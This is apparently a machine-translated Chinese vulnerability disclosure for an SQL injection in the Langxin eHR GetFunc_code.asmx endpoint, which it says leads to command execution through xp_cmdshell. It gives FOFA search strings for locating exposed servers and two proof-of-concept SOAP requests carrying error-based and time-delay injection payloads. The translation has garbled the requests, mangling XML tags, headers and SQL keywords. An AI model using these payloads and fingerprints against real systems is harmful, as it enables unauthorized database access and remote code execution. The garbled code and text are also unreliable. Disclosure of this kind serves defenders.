朗新天霁eHR GetFunc_code.asmx SQL注入致RCE漏洞

郑重声明

1. 本文旨在告知安全利益相关者漏洞的存在以及如何利用漏洞，提高网络安全意识和技术水平。

2、任何人不得利用本条所述的技术手段非法攻击或侵犯他人的隐私或财产权。如果发生任何违法行为，您将承担责任。

3、本文提及的漏洞验证POC仅用于授权测试目的；未经授权的测试是非法的。请在法律允许的范围内使用本poc。

0x01 产品介绍

朗新eHR是北京朗新天机软件技术有限公司开发的人力资源管理系统。该产品融合了国外先进的人才管理理念和国内众多的人才管理实践，使其成为最全面、性价比最高的产品之一。中国有效的人力资源管理系统以其集成化、自动化、数据库化、移动化等特点，在企业管理中发挥着重要作用。不仅提高了企业的管理效率和水平，而且促进了员工和组织的发展，有力支撑了企业的可持续发展。

0x02 漏洞汇总

朗信天机eHR中的GetFunc_code.asmx接口的多个实例（包括GetMessage、GetShortMessage和GetToken）包含SQL注入漏洞，可能允许未经身份验证的远程攻击者利用SQL注入漏洞执行任意命令并与数据库交互。服务器上的xp_cmdshell。经分析判断，该漏洞利用难度较大，建议您尽快修复。

0x03 重复环境

福法语法

body=\’/default.aspx?ReturnUrl=%2f\’ body=\’silverlight\’

0x04 漏洞复现

麻子1

POST /ws/GetFunc_code.asmx HTTP/1.1

主机：

内容类型： 文本/xml; 字符集=utf-8;

内容长度： 长度

SOAPAction: \’http://tempuri.org/GetMessage\’

?xml 版本=\’1.0\’ 编码=\’utf-8\’?

soap:Envelope xmlns:xsi=\’http://www.w3.org/2001/XMLSchema-instance\’ xmlns:xsd=\’http://www.w3.org/2001/XMLSchema\’ xmlns:soap=\’http://schemas.xmlsoap.org/soap/envelope/\’

肥皂： 身体

GetMessage xmlns=\’http://tempuri.org/\’

a0190-7952\’ OR 8812 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(107)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (8812=8812) THEN @@VERSION ELSE) CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(98)+CHAR(113)))– usJo/a0190

/获取消息

/soap: 身体

/soap: 信封

回复内容特征：版权

POC2

POST /ws/GetFunc_code.asmx HTTP/1.1

主机：

内容类型： 文本/xml; 字符集=utf-8;

内容长度： 长度

SOAPAction: \’http://tempuri.org/GetShortMessage\’

?xml 版本=\’1.0\’ 编码=\’utf-8\’?

soap:Envelope xmlns:xsi=\’http://www.w3.org/2001/XMLSchema-instance\’ xmlns:xsd=\’http://www.w3.org/2001/XMLSchema\’ xmlns:soap=\’http://schemas.xmlsoap.org/soap/envelope/\’

肥皂： 身体

GetShortMessage xmlns=\’http://tempuri.org/\’

a01901\’;等待延迟\’0:0:5\’–/a0190

/获取短信

/soap: 身体

/soap: 信封

响应内容特征：响应时间=5秒

以上#浪芯天机eHR GetFunc_code.asmx SQL注入导致RCE漏洞相关内容由网络提供，仅供参考。相关信息请参见官方公告。